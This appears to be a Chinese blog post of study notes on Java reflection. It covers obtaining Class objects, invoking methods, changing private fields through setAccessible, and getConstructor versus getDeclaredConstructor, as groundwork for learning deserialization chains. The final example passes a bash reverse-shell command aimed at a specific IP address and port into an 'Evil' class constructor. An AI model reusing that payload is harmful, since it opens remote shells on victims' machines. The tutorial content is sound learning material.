java反射

本文写于2024-11-14 ，最后修改于2025-3-17

java反射


写在前面


最近花了很长的时间去学习java，前后把Java se ，Java web，spring boot都搞了一遍(还搞了个springboot项目当练手)：
Bilibili-Film-Area-top-webcrawler。现在终于有心回来搞安全了


最近打算开始学链子的内容，从反射开始一步一步走。反正考完数电无事可做，就当是消磨时间了


举例


例子:

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public class testForName {
    public static void main(String args[]) throws ClassNotFoundException, NoSuchMethodException {
        Class c = Class.forName("student");
        Class c1 = new student(2,"wm").getClass();
        Class c2 = student.class;
        //c,c1,c2指向同一个Class对象
        System.out.println(c2.getMethod("getName"));
 
        Class c3 = c.getSuperclass();
        System.out.println(c3.getMethod("getJob"));
    }
}
 
class person{
    private String job = "工人";
 
    public String getJob() {
        return job;
    }
 
    public void setJob(String job) {
        this.job = job;
    }
}
class student extends person{
    private int id = 0;
    private String name = "mak";
 
    public int getId() {
        return id;
    }
 
    public String getName() {
        return name;
    }
 
    public student(int id, String name) {
        this.id = id;
        this.name = name;
    }
 
    public void setId(int id) {
        this.id = id;
    }
 
    @Override
    public String toString() {
        return "student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                '}';
    }
}


获取Class对象:


1.通过类名

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Class c = Class.forName("student");

Class.forName(“类名”) 即后文的student类


2.通过实例

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Class c1 = new student(2,"wm").getClass();

这里是通过Object的getClass方法获得一个对象对应的类的Class对象。大概意思就是通过一个实例化之后的对象找到对应的class对象，有点绕


3.通过类名.class

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Class c2 = student.class;

和第一种方法差不多，如果有新的理解我再补充


获取对象中的方法:


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System.out.println(c2.getMethod("getName"))

通过getMethod方法获取 student 类中的 getName 方法。


获取父类的方法

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Class c3 = c.getSuperclass();
System.out.println(c3.getMethod("getJob"));

c.getSuperclass()意思是获取 student 的父类 Class 对象，这里是 person 类。
通过getMethod方法在 person 类中获得 getJob 方法。


操作对象


接下来以这个类来举例

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class student {
    private int id = 0;
    private String name = "mak";
 
    public int getId() {
        return id;
    }
 
    public String getName() {
        return name;
    }
 
    public student(int id, String name) {
        this.id = id;
        this.name = name;
    }
 
    public void setName(String name) {
        this.name = name;
    }
 
    public void setId(int id) {
        this.id = id;
    }
 
    void test(String name){
        System.out.println("hello,"+this.name+" and "+name);
    }
 
    @Override
    public String toString() {
        return "student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                '}';
    }
}

通过反射创造对象：


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Class stuclass = Class.forName("student");
student stu = (student)stuclass.newInstance();

首先是获取 student 类的 Class 对象，这个在前面有讲，不在叙述。
student stu = (student)stuclass.newInstance(); 这句话的目的其实是创建一个student类的一个名叫stu实例。
stuclass.newInstance()会通过 student 类的无参构造函数来创建一个 student 类的对象。这里要求 student 类必须有一个无参构造函数。而newInstance() 返回一个 Object 类型，所以需要进行类型转换 (student)，将返回的对象强制转换为 student 类型。


通过反射创造带参构造器的对象：


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Constructor constr = stuclass.getConstructor(int.class,String.class); //获取类的构造器，参数：构造器参数类型的class
student stu1 = (student) constr.newInstance(12,"Tom");

stuclass.getConstructor(int.class, String.class) 用于获取 student 类中接受 int 和 String 两个参数的构造函数。

这里对应了例子中的:

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public student(int id, String name) {
    this.id = id;
    this.name = name;
}

关于Constructor 对象：

Constructor 对象是 Java 反射机制中的一部分，用于表示类的构造函数。它的存在是为了提供一种方式，允许程序在运行时动态地访问和使用构造函数创建对象实例。与 Method 对象（用于表示普通方法）类似，Constructor 对象专门负责构造函数的管理。


执行对象方法


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Method stname = stuclass.getMethod("setName", String.class); //获取类的方法，参数：方法名,方法参数类型的Class
stname.invoke(stu1,"wm"); //invoke(激活):执行函数，参数：(用于执行函数的对象，函数参数)
Method hello = stuclass.getDeclaredMethod("test", String.class);
hello.invoke(stu1,"abc");

stuclass.getMethod(“setName”, String.class)：从 stuclass（即 student 类的 Class 对象）中获取 setName 方法。
getMethod() 的第一个参数是方法名，第二个参数是方法的参数类型

stname.invoke(stu1, “wm”)：通过反射调用 stname 方法，即调用 stu1 对象的 setName 方法，并传入参数 “wm”。

hello方法同理，不在叙述

操作对象属性


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Field stuid = stuclass.getDeclaredField("name");
stuid.setAccessible(true); //对于修改private属性，要先关闭程序安全检测（默认为true）
stuid.set(stu1,"wm1111"); //set修改，参数：要修改属性的对象,修改后的值
hello.invoke(stu1,"def");

通过反射来访问并修改 student 类的私有属性 name，然后再次调用 test 方法

stuclass.getDeclaredField(“name”)：从 stuclass（即 student 类的 Class 对象）中获取 name 字段（即属性）

关于set方法：

set() 方法不是 Class 类，而是 Field 类 的方法。Field 类在 java.lang.reflect 包中，用于表示类的属性（字段）。通过 Field 对象的 set() 方法，可以为特定对象的字段设置值。


写在后面


唉，体测


补充于2025.3.15


关于获取构造方法和构造方法


什么是构造方法？


在编程语言中，构造方法（Constructor）是一种特殊的成员方法，用于在创建对象时初始化对象的状态。构造方法的名称与类名相同，并且没有返回值（甚至不能声明为 void ）。构造方法的主要作用是为对象分配内存并初始化对象的属性。


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public class Person {
    private String name;
    private int age;

    // 无参构造方法
    public Person() {
        this.name = "Unknown";
        this.age = 0;
    }

    // 带参构造方法
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }


不加显示声明的构造方法


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class Evil {
    private String cmd;

    // 包级私有构造方法
    Evil(String cmd) {
        this.cmd = cmd;
    }
}

  • 访问范围：只有同一包内的类可以访问该构造方法。

  • 应用场景：这种访问权限通常用于库开发或内部实现，限制类的实例化只能在特定的包内进行。


反射调用构造方法


使用反射调用构造方法又两种方式:

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Constructor constr = stuclass.getConstructor(int.class,String.class); //获取类的构造器，参数：构造器参数类型的class
student stu1 = (student) constr.newInstance(12,"Tom");


Constructor constr = stuclass.getDeclaredConstructor(int.class,String.class); //获取类的构造器，参数：构造器参数类型的class
student stu1 = (student) constr.newInstance(12,"Tom");

区别在于：

getConstructor :

  • 该方法用于获取类的公共（public）构造函数。

  • 它只返回那些可以被外部访问的构造函数。

  • 如果没有找到匹配的公共构造函数，会抛出 NoSuchMethodException 。


getDeclaredConstructor

  • 该方法用于获取类的所有构造函数，包括私有（private）、受保护（protected）和包私有（package-private）的构造函数。

  • 它可以返回类中定义的所有构造函数，无论它们的访问权限如何。

  • 如果没有找到匹配的构造函数，也会抛出 NoSuchMethodException 。


示例：

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//使用反射访问构造方法

Class evilClass = Class.forName("Evil");
Constructor<?> constructor = evilClass.getDeclaredConstructor(String.class);
Evil Evilcon = (Evil)constructor.newInstance("bash -i >& /dev/tcp/107.174.159.179/23172 0>&1");

//原构造方法

......

Evil(String cmd) {
    this.cmd = cmd;
}